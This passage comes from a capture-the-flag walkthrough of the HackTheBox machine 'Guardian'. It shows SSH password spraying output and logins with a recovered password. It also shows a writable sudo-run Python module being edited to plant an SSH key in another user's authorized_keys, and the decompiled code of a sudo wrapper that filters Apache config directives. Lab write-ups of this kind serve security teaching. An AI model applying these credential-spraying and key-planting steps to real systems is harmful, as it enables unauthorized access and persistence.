</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logfail">[-]</span><span class="go"> gitea:copperhouse56
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logsuccess">[+]</span><span class="go"> jamil:copperhouse56  Linux - Shell access!
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logfail">[-]</span><span class="go"> mark:copperhouse56
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logfail">[-]</span><span class="go"> sammy:copperhouse56
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logfail">[-]</span><span class="go"> gitea:fakebake000
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logfail">[-]</span><span class="go"> mark:fakebake000
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.237.248    22     guardian.htb     </span><span class="netexec-logfail">[-]</span><span class="go"> sammy:fakebake000
</span></code></pre></div></div>

<h4 id="su--ssh">su / SSH</h4>

<p>The password works over <code class="language-plaintext highlighter-rouge">su</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@guardian:~$</span><span class="w"> </span>su - jamil
<span class="go">Password: 
</span><span class="gp">jamil@guardian:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>And SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> copperhouse56 ssh jamil@guardian.htb
<span class="go">...[snip]...
</span><span class="gp">jamil@guardian:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>And I can grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">f83eb0b6************************
</span></code></pre></div></div>

<h2 id="shell-as-mark">Shell as Mark</h2>

<h3 id="enumeration-2">Enumeration</h3>

<p>There’s nothing super interesting in jamil’s home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 28
drwxr-x--- 3 jamil jamil 4096 Jul 14  2025 .
drwxr-xr-x 6 root  root  4096 Jul 30  2025 ..
lrwxrwxrwx 1 root  root     9 Jul 14  2025 .bash_history -&gt; /dev/null
-rw-r--r-- 1 jamil jamil  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 jamil jamil 3805 Apr 19  2025 .bashrc
drwx------ 2 jamil jamil 4096 Apr 26  2025 .cache
lrwxrwxrwx 1 root  root     9 Apr 12  2025 .mysql_history -&gt; /dev/null
-rw-r--r-- 1 jamil jamil  807 Jan  6  2022 .profile
-rw-r----- 1 root  jamil   33 Feb 25 00:43 user.txt
</span></code></pre></div></div>

<p>jamil can run a Python script as mark using <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for jamil on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jamil may run the following commands on guardian:
    (mark) NOPASSWD: /opt/scripts/utilities/utilities.py
</span></code></pre></div></div>

<p>In <code class="language-plaintext highlighter-rouge">/opt</code> there are three folders:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:/opt$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">containerd  google  scripts
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">containerd</code> is only accessible by root, but it’s almost certainly the default containerd runtime used by Docker or Kubernetes. I haven’t seen any Docker on this box, but maybe it’s a leftover. <code class="language-plaintext highlighter-rouge">google</code> has a Chrome install (likely used by the automation to trigger the XSS or the CSRF). <code class="language-plaintext highlighter-rouge">scripts</code> has a series of Python files, including the one that jamil can run as mark:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:/opt$</span><span class="w"> </span>find /opt/scripts <span class="nt">-type</span> f <span class="nt">-ls</span>
<span class="go">    16831      4 -rw-r-----   1 root     admins        287 Apr 19  2025 /opt/scripts/utilities/utils/attachments.py
       43      4 -rw-r-----   1 root     admins        246 Jul 10  2025 /opt/scripts/utilities/utils/db.py
     4166      4 -rwxrwx---   1 mark     admins        253 Apr 26  2025 /opt/scripts/utilities/utils/status.py
    16832      4 -rw-r-----   1 root     admins        226 Apr 19  2025 /opt/scripts/utilities/utils/logs.py
       46      4 -rwxr-x---   1 root     admins       1136 Apr 20  2025 /opt/scripts/utilities/utilities.py
</span></code></pre></div></div>

<p>I’ll note that most of the files are owned by root:admins and only writable by root, the <code class="language-plaintext highlighter-rouge">status.py</code> file is owned by mark:admins and writable by the admins group. jamil is in the admins group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:/opt$</span><span class="w"> </span><span class="nb">id</span>                                                                                     
<span class="go">uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)  
</span></code></pre></div></div>

<h3 id="utilitiespy">utilities.py</h3>

<p>Understanding the <code class="language-plaintext highlighter-rouge">utilities.py</code> script is not important to using it to escalate, but I’ll take a look regardless. Sadly, it’s a pretty unrealistic setup. For some reason it does user checks</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span>
<span class="kn">import</span> <span class="n">argparse</span>
<span class="kn">import</span> <span class="n">getpass</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="kn">from</span> <span class="n">utils</span> <span class="kn">import</span> <span class="n">db</span>
<span class="kn">from</span> <span class="n">utils</span> <span class="kn">import</span> <span class="n">attachments</span>
<span class="kn">from</span> <span class="n">utils</span> <span class="kn">import</span> <span class="n">logs</span>
<span class="kn">from</span> <span class="n">utils</span> <span class="kn">import</span> <span class="n">status</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="nc">ArgumentParser</span><span class="p">(</span><span class="n">description</span><span class="o">=</span><span class="sh">"</span><span class="s">University Server Utilities Toolkit</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">parser</span><span class="p">.</span><span class="nf">add_argument</span><span class="p">(</span><span class="sh">"</span><span class="s">action</span><span class="sh">"</span><span class="p">,</span> <span class="n">choices</span><span class="o">=</span><span class="p">[</span>
        <span class="sh">"</span><span class="s">backup-db</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">zip-attachments</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">collect-logs</span><span class="sh">"</span><span class="p">,</span>
        <span class="sh">"</span><span class="s">system-status</span><span class="sh">"</span>
    <span class="p">],</span> <span class="nb">help</span><span class="o">=</span><span class="sh">"</span><span class="s">Action to perform</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="nf">parse_args</span><span class="p">()</span>
    <span class="n">user</span> <span class="o">=</span> <span class="n">getpass</span><span class="p">.</span><span class="nf">getuser</span><span class="p">()</span>

    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="sh">"</span><span class="s">backup-db</span><span class="sh">"</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">user</span> <span class="o">!=</span> <span class="sh">"</span><span class="s">mark</span><span class="sh">"</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Access denied.</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">db</span><span class="p">.</span><span class="nf">backup_database</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="sh">"</span><span class="s">zip-attachments</span><span class="sh">"</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">user</span> <span class="o">!=</span> <span class="sh">"</span><span class="s">mark</span><span class="sh">"</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Access denied.</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">attachments</span><span class="p">.</span><span class="nf">zip_attachments</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="sh">"</span><span class="s">collect-logs</span><span class="sh">"</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">user</span> <span class="o">!=</span> <span class="sh">"</span><span class="s">mark</span><span class="sh">"</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Access denied.</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
        <span class="n">logs</span><span class="p">.</span><span class="nf">collect_logs</span><span class="p">()</span>
    <span class="k">elif</span> <span class="n">args</span><span class="p">.</span><span class="n">action</span> <span class="o">==</span> <span class="sh">"</span><span class="s">system-status</span><span class="sh">"</span><span class="p">:</span>
        <span class="n">status</span><span class="p">.</span><span class="nf">system_status</span><span class="p">()</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Unknown action.</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">main</span><span class="p">()</span>
</code></pre></div></div>

<p>It uses <code class="language-plaintext highlighter-rouge">argparse</code> to get an action, and does some user validation. Then it calls functions based on the action from the other scripts. The other script do things like backup the uploaded attachments and print the CPU and memory usage.</p>

<h3 id="write-python">Write Python</h3>

<p>To run as mark, I just need to edit the <code class="language-plaintext highlighter-rouge">status.py</code> so that when the <code class="language-plaintext highlighter-rouge">system_status</code> function is called, it does whatever I want as mark. I’ll add code to write an SSH key:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">platform</span>
<span class="kn">import</span> <span class="n">psutil</span>
<span class="kn">import</span> <span class="n">os</span>

<span class="k">def</span> <span class="nf">system_status</span><span class="p">():</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">System:</span><span class="sh">"</span><span class="p">,</span> <span class="n">platform</span><span class="p">.</span><span class="nf">system</span><span class="p">(),</span> <span class="n">platform</span><span class="p">.</span><span class="nf">release</span><span class="p">())</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">CPU usage:</span><span class="sh">"</span><span class="p">,</span> <span class="n">psutil</span><span class="p">.</span><span class="nf">cpu_percent</span><span class="p">(),</span> <span class="sh">"</span><span class="s">%</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Memory usage:</span><span class="sh">"</span><span class="p">,</span> <span class="n">psutil</span><span class="p">.</span><span class="nf">virtual_memory</span><span class="p">().</span><span class="n">percent</span><span class="p">,</span> <span class="sh">"</span><span class="s">%</span><span class="sh">"</span><span class="p">)</span>

    <span class="n">os</span><span class="p">.</span><span class="nf">makedirs</span><span class="p">(</span><span class="sh">'</span><span class="s">/home/mark/.ssh</span><span class="sh">'</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="mo">0o700</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">/home/mark/.ssh/authorized_keys</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="sh">'</span><span class="se">\n</span><span class="s">ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">'</span><span class="s">Wrote SSH key to /home/mark/.ssh/authorized_keys</span><span class="sh">'</span><span class="p">)</span>
</code></pre></div></div>

<p>I’ll run it as mark:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">jamil@guardian:/opt/scripts/utilities/utils$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-u</span> mark /opt/scripts/utilities/utilities.py system-status
<span class="go">System: Linux 5.15.0-152-generic
CPU usage: 50.0 %
Memory usage: 32.2 %
Wrote SSH key to /home/mark/.ssh/authorized_keys
</span></code></pre></div></div>

<p>And login using the key:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ssh <span class="nt">-i</span> ~/keys/ed25519_gen mark@guardian.htb
<span class="go">Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
</span><span class="gp">mark@guardian:~$</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-3">Enumeration</h3>

<p>mark’s home directory is empty other than the standard stuff and an empty <code class="language-plaintext highlighter-rouge">confs</code> directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 32
drwxr-x--- 5 mark mark 4096 Feb 25 13:34 .
drwxr-xr-x 6 root root 4096 Jul 30  2025 ..
lrwxrwxrwx 1 root root    9 Jul 14  2025 .bash_history -&gt; /dev/null
-rw-r--r-- 1 mark mark  220 Apr 18  2025 .bash_logout
-rw-r--r-- 1 mark mark 3805 Apr 19  2025 .bashrc
drwx------ 2 mark mark 4096 Apr 26  2025 .cache
drwxrwxr-x 2 mark mark 4096 Jul 13  2025 confs
lrwxrwxrwx 1 root root    9 Apr 19  2025 .mysql_history -&gt; /dev/null
-rw-r--r-- 1 mark mark  807 Apr 18  2025 .profile
drwx------ 2 mark mark 4096 Feb 25 13:34 .ssh
</span></code></pre></div></div>

<p>mark can run <code class="language-plaintext highlighter-rouge">safeapache2ctl</code> as any user with <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
</span></code></pre></div></div>

<p>It’s a ELF binary:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~$</span><span class="w"> </span>file /usr/local/bin/safeapache2ctl 
<span class="go">/usr/local/bin/safeapache2ctl: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0690ef286458863745e17e8a81cc550ced004b12, for GNU/Linux 3.2.0, not stripped
</span></code></pre></div></div>

<h3 id="running-safeapache2ctl">Running safeapache2ctl</h3>

<p>Running the binary prints the usage:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl 
<span class="go">Usage: safeapache2ctl -f /home/mark/confs/file.conf
</span></code></pre></div></div>

<p>If I try to point to a file outside of <code class="language-plaintext highlighter-rouge">/home/mark/confs</code>, it complains:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> /etc/passwd
<span class="go">Access denied: config must be inside /home/mark/confs/
</span></code></pre></div></div>

<p>I can create a file, and try to run it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">touch </span>0xdf.conf 
<span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">AH00534: apache2: Configuration error: No MPM loaded.
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span></code></pre></div></div>

<p>This error is because Apache requires the MPM module to initialize, even just to do a config syntax check. There are three MPM modules on this host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">ls</span> /usr/lib/apache2/modules/mod_mpm_<span class="k">*</span>
<span class="go">/usr/lib/apache2/modules/mod_mpm_event.so  /usr/lib/apache2/modules/mod_mpm_prefork.so  /usr/lib/apache2/modules/mod_mpm_worker.so
</span></code></pre></div></div>

<p>I’ll load the worker:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">cat </span>0xdf.conf 
<span class="go">LoadModule mpm_worker_module /usr/lib/apache2/modules/mod_mpm_worker.so
</span><span class="gp">mark@guardian:~/confs$</span><span class="w"> </span><span class="nb">sudo </span>safeapache2ctl <span class="nt">-f</span> ./0xdf.conf 
<span class="go">Terminated
Action '-f /home/mark/confs/0xdf.conf' failed.
The Apache error log may have more information.
</span></code></pre></div></div>

<p>This is actually success. My config is not valid, as it doesn’t specify anything to do. I’ll add a basic minimal config (though it isn’t required).</p>

<h3 id="reversing-safeapache2ctl">Reversing safeapache2ctl</h3>

<p>I’ll download a copy of the binary to take a look:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>scp <span class="nt">-i</span> ~/keys/ed25519_gen mark@guardian.htb:/usr/local/bin/safeapache2ctl <span class="nb">.</span>
<span class="go">safeapache2ctl                                   100%   16KB 244.5KB/s   00:00
</span></code></pre></div></div>

<p>I’ll open it in <a href="https://ghidra-sre.org/">Ghidra</a>. After the analysis, it shows a relatively small number of functions:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260225092044389.webp" />
    <img loading="lazy" src="/img/image-20260225092044389.png" alt="image-20260225092044389" class="include_image " />
</picture>

<p>The <code class="language-plaintext highlighter-rouge">main</code> function is where the work is done:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span><span class="n">undefined8</span> <span class="o">*</span><span class="n">argv</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">res</span><span class="p">;</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">config_file</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">line_buf</span> <span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">resolved_path</span> <span class="p">[</span><span class="mi">4104</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">stack_canary</span><span class="p">;</span>
  
  <span class="n">stack_canary</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">result</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="s">"-f"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">res</span> <span class="o">=</span> <span class="n">realpath</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="n">resolved_path</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"realpath"</span><span class="p">);</span>
      <span class="p">}</span>
      <span class="k">else</span> <span class="p">{</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">starts_with</span><span class="p">(</span><span class="n">resolved_path</span><span class="p">,</span><span class="s">"/home/mark/confs/"</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="s">"Access denied: config must be inside %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="s">"/home/mark/confs/"</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
          <span class="n">config_file</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">resolved_path</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">config_file</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">perror</span><span class="p">(</span><span class="s">"fopen"</span><span class="p">);</span>
          <span class="p">}</span>
          <span class="k">else</span> <span class="p">{</span>
            <span class="k">do</span> <span class="p">{</span>
              <span class="n">res</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">line_buf</span><span class="p">,</span><span class="mh">0x400</span><span class="p">,</span><span class="n">config_file</span><span class="p">);</span>
              <span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">fclose</span><span class="p">(</span><span class="n">config_file</span><span class="p">);</span>
                <span class="n">execl</span><span class="p">(</span><span class="s">"/usr/sbin/apache2ctl"</span><span class="p">,</span><span class="s">"apache2ctl"</span><span class="p">,</span><span class="o">&amp;-</span><span class="n">f</span><span class="p">,</span><span class="n">resolved_path</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
                <span class="n">perror</span><span class="p">(</span><span class="s">"execl failed"</span><span class="p">);</span>
                <span class="k">goto</span> <span class="n">LAB_00101663</span><span class="p">;</span>
              <span class="p">}</span>
              <span class="n">result</span> <span class="o">=</span> <span class="n">is_unsafe_line</span><span class="p">(</span><span class="n">line_buf</span><span class="p">);</span>
            <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
            <span class="n">fwrite</span><span class="p">(</span><span class="s">"Blocked: Config includes unsafe directive.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x2b</span><span class="p">,</span><span class="n">stderr</span><span class="p">);</span>
            <span class="n">fclose</span><span class="p">(</span><span class="n">config_file</span><span class="p">);</span>
          <span class="p">}</span>
        <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">goto</span> <span class="n">LAB_00101663</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="s">"Usage: %s -f /home/mark/confs/file.conf</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="o">*</span><span class="n">argv</span><span class="p">);</span>
<span class="nl">LAB_00101663:</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">stack_canary</span> <span class="o">!=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It requires exactly two args, the first of which must be <code class="language-plaintext highlighter-rouge">-f</code>, and the second of which is a path. It uses <code class="language-plaintext highlighter-rouge">realpath</code> to resolve symlinks, and then makes sure that the path starts with <code class="language-plaintext highlighter-rouge">/home/mark/confs</code>. It opens the path argument and reads line by line, passing each line through <code class="language-plaintext highlighter-rouge">is_unsafe_line()</code>. If any call to <code class="language-plaintext highlighter-rouge">is_unsafe_line</code> returns 0, it breaks and exits with an error. Otherwise, it runs <code class="language-plaintext highlighter-rouge">apache2ctl -f &lt;path&gt;</code>. <code class="language-plaintext highlighter-rouge">apache2ctl</code> is a <a href="https://manpages.ubuntu.com/manpages/focal/man8/apache2ctl.8.html">binary for controlling</a> the Apache2 binary. When called this way without a command, it only validates the configuration and exits.</p>

<p><code class="language-plaintext highlighter-rouge">is_unsafe_line</code> tries to limit what can be included in the <code class="language-plaintext highlighter-rouge">apache2ctl</code> config:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">is_unsafe_line</span><span class="p">(</span><span class="n">undefined8</span> <span class="n">line</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">is_unsafe</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">in_FS_OFFSET</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">directive</span> <span class="p">[</span><span class="mi">32</span><span class="p">];</span>
  <span class="kt">char</span> <span class="n">directive_arg</span> <span class="p">[</span><span class="mi">4104</span><span class="p">];</span>
  <span class="kt">long</span> <span class="n">stack_canary</span><span class="p">;</span>
  
  <span class="n">stack_canary</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">in_FS_OFFSET</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">__isoc99_sscanf</span><span class="p">(</span><span class="n">line</span><span class="p">,</span><span class="s">"%31s %1023s"</span><span class="p">,</span><span class="n">directive</span><span class="p">,</span><span class="n">directive_arg</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">is_unsafe</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LAB_00101423</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">directive</span><span class="p">,</span><span class="s">"Include"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LAB_001013c6:</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">directive_arg</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'/'</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">result</span> <span class="o">=</span> <span class="n">starts_with</span><span class="p">(</span><span class="n">directive_arg</span><span class="p">,</span><span class="s">"/home/mark/confs/"</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">result</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="s">"[!] Blocked: %s is outside of %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">directive_arg</span><span class="p">,</span><span class="s">"/home/mark/confs/"</span><span class="p">);</span>
        <span class="n">is_unsafe</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
